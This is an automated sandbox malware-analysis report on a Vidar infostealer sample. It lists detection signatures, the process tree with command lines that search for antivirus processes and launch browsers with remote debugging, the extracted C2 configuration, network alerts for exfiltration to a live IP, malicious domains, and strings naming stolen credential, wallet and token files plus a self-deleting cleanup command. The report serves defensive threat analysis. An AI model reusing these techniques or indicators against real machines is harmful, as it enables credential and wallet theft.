Edit tour

Windows Analysis Report
25xTHcaF7V.exe

Overview

General Information

Sample name:	25xTHcaF7V.exe renamed because original name is a hash value
Original sample name:	e7c964e5bd52da0b4ff1e6543608cf27.exe
Analysis ID:	1598005
MD5:	e7c964e5bd52da0b4ff1e6543608cf27
SHA1:	b369051de7f7bdf58411fb604eef85507965abf2
SHA256:	33cab7cd9069c761a907a2498c2d496da5e9332412b13472710e774ca80c4b48
Tags:	exeuser-abuse_ch
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Drops PE files with a suspicious file extension

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Monitors registry run keys for changes

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected non-DNS traffic on DNS port

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Suspicious Copy From or To System Directory

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

25xTHcaF7V.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\25xTHcaF7V.exe" MD5: E7C964E5BD52DA0B4FF1E6543608CF27)

cmd.exe (PID: 6680 cmdline: "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6892 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 6968 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 5868 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 5844 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5516 cmdline: cmd /c md 634977 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 5692 cmdline: extrac32 /Y /E Gtk MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 6084 cmdline: findstr /V "Constitution" Wagon MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5656 cmdline: cmd /c copy /b 634977\Surrey.com + Firewire + Values + Expanding + Representing + Gothic + Voltage + Refinance + Nec + Kate 634977\Surrey.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 2204 cmdline: cmd /c copy /b ..\Courage + ..\Remove + ..\Throws + ..\Competing Q MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Surrey.com (PID: 2864 cmdline: Surrey.com Q MD5: 62D09F076E6E0240548C2F837536A46A)

chrome.exe (PID: 6876 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2436 --field-trial-handle=2312,i,10135865500869867964,659012948287771851,262144 /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

msedge.exe (PID: 7964 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 776 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2372,i,6228530341099286433,11719858513677495840,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

choice.exe (PID: 5640 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

msedge.exe (PID: 5832 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7684 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6684 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5392 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6928 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8108 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6980 --field-trial-handle=1936,i,7964598292431625075,12103028554522490085,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": "https://steamcommunity.com/profiles/76561199819539662", "Botnet": "go2dniz"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Surrey.com PID: 2864	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: Surrey.com PID: 2864	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: Surrey.com PID: 2864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.Surrey.com.43e0000.2.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
13.2.Surrey.com.43e0000.2.unpack	infostealer_win_vidar_strings_nov23	Finds Vidar samples based on the specific strings	Sekoia.io	0x19deb:$str01: MachineID: 0x18d4f:$str02: Work Dir: In memory 0x19e93:$str03: [Hardware] 0x19dd4:$str04: VideoCard: 0x194fa:$str05: [Processes] 0x19506:$str06: [Software] 0x18de0:$str07: information.txt 0x19aec:$str08: %s\* 0x19b39:$str08: %s\* 0x18ffd:$str11: Software\Martin Prikryl\WinSCP 2\Configuration 0x193cc:$str12: UseMasterPassword 0x19e9f:$str13: Soft: WinSCP 0x198a5:$str14: <Pass encoding="base64"> 0x19e82:$str15: Soft: FileZilla 0x18dd2:$str16: passwords.txt 0x193f7:$str17: build_id 0x194be:$str18: file_data

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: Surrey.com Q, ParentImage: C:\Users\user\AppData\Local\Temp\634977\Surrey.com, ParentProcessId: 2864, ParentProcessName: Surrey.com, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default", ProcessId: 6876, ProcessName: chrome.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\25xTHcaF7V.exe", ParentImage: C:\Users\user\Desktop\25xTHcaF7V.exe, ParentProcessId: 6392, ParentProcessName: 25xTHcaF7V.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd, ProcessId: 6680, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Universities Universities.cmd & Universities.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6680, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 5844, ProcessName: findstr.exe

Suricata Signatures

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:39:49.056594+0100	2044247	1	Malware Command and Control Activity Detected	5.75.209.106	443	192.168.2.12	49724	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:39:50.422234+0100	2051831	1	Malware Command and Control Activity Detected	5.75.209.106	443	192.168.2.12	49725	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:39:49.056316+0100	2049087	1	A Network Trojan was detected	192.168.2.12	49724	5.75.209.106	443	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:39:51.872770+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49726	5.75.209.106	443	TCP
2025-01-23T20:39:52.942502+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49727	5.75.209.106	443	TCP
2025-01-23T20:40:01.084195+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49750	5.75.209.106	443	TCP
2025-01-23T20:40:02.005973+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49755	5.75.209.106	443	TCP
2025-01-23T20:40:03.032311+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49756	5.75.209.106	443	TCP
2025-01-23T20:40:04.515625+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49757	5.75.209.106	443	TCP
2025-01-23T20:40:06.365323+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49758	5.75.209.106	443	TCP
2025-01-23T20:40:14.419791+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49776	5.75.209.106	443	TCP
2025-01-23T20:40:14.834716+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49792	5.75.209.106	443	TCP
2025-01-23T20:40:15.987724+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49800	5.75.209.106	443	TCP
2025-01-23T20:40:17.105196+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49816	5.75.209.106	443	TCP
2025-01-23T20:40:18.415884+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49821	5.75.209.106	443	TCP
2025-01-23T20:40:19.410013+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49835	5.75.209.106	443	TCP
2025-01-23T20:40:21.561613+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49874	5.75.209.106	443	TCP
2025-01-23T20:40:26.843681+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49924	5.75.209.106	443	TCP
2025-01-23T20:40:30.451649+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49930	5.75.209.106	443	TCP
2025-01-23T20:41:05.218104+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49942	5.75.209.106	443	TCP
2025-01-23T20:41:05.996613+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49943	5.75.209.106	443	TCP
2025-01-23T20:41:07.086752+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49944	5.75.209.106	443	TCP
2025-01-23T20:41:08.107234+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49946	5.75.209.106	443	TCP
2025-01-23T20:41:09.123519+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49947	5.75.209.106	443	TCP
2025-01-23T20:41:10.292708+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49948	5.75.209.106	443	TCP
2025-01-23T20:41:11.327890+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49949	5.75.209.106	443	TCP
2025-01-23T20:41:12.345006+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49951	5.75.209.106	443	TCP
2025-01-23T20:41:13.333197+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49952	5.75.209.106	443	TCP
2025-01-23T20:41:14.319472+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49953	5.75.209.106	443	TCP
2025-01-23T20:41:15.257466+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49954	5.75.209.106	443	TCP
2025-01-23T20:41:16.408595+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49958	5.75.209.106	443	TCP
2025-01-23T20:41:17.370619+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49959	5.75.209.106	443	TCP
2025-01-23T20:41:18.456418+0100	2059331	1	Malware Command and Control Activity Detected	192.168.2.12	49962	5.75.209.106	443	TCP

ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:40:02.005973+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49755	5.75.209.106	443	TCP
2025-01-23T20:40:03.032311+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49756	5.75.209.106	443	TCP
2025-01-23T20:40:04.515625+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49757	5.75.209.106	443	TCP
2025-01-23T20:40:14.834716+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49792	5.75.209.106	443	TCP
2025-01-23T20:40:15.987724+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49800	5.75.209.106	443	TCP
2025-01-23T20:40:17.105196+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49816	5.75.209.106	443	TCP
2025-01-23T20:40:18.415884+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49821	5.75.209.106	443	TCP
2025-01-23T20:40:19.410013+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49835	5.75.209.106	443	TCP
2025-01-23T20:40:21.561613+0100	2859636	1	Malware Command and Control Activity Detected	192.168.2.12	49874	5.75.209.106	443	TCP

ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-23T20:39:46.339959+0100	2859378	1	Malware Command and Control Activity Detected	192.168.2.12	49722	5.75.209.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://tlfiyat.shop/X5	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/W;	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/s	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/s5i.	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/O	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/k	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop#	Avira URL Cloud: Label: malware
Source: https://tlfiyat.shop/;8	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Vidar {"C2 url": "https://steamcommunity.com/profiles/76561199819539662", "Botnet": "go2dniz"}

Multi AV Scanner detection for submitted file

Source: 25xTHcaF7V.exe	Virustotal: Detection: 31%			Perma Link
Source: 25xTHcaF7V.exe	ReversingLabs: Detection: 31%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 84.2% probability

Source: 25xTHcaF7V.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.12:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.12:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.209.106:443 -> 192.168.2.12:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.12:49945 version: TLS 1.2

Source: 25xTHcaF7V.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: vdr1.pdb source: Surrey.com, 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA
Source:	Binary string: cryptosetup.pdbGCTL source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp, i5pz5p.13.dr
Source:	Binary string: cryptosetup.pdb source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp, i5pz5p.13.dr
Source:	Binary string: 1.pdb\ source: Surrey.com, 0000000D.00000003.2603234509.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603053985.0000000001935000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603019804.00000000019CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 1.pdb source: Surrey.com, 0000000D.00000003.2603234509.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603053985.0000000001935000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603019804.00000000019CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d 